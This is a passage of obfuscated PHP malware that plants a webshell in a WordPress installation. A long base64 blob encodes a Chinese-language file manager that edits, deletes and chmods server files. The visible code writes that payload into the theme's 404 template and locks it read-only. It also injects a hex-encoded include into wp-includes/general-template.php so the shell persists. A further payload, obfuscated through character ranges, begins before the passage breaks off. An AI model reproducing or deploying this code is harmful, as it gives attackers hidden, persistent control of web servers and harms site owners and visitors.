R5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFV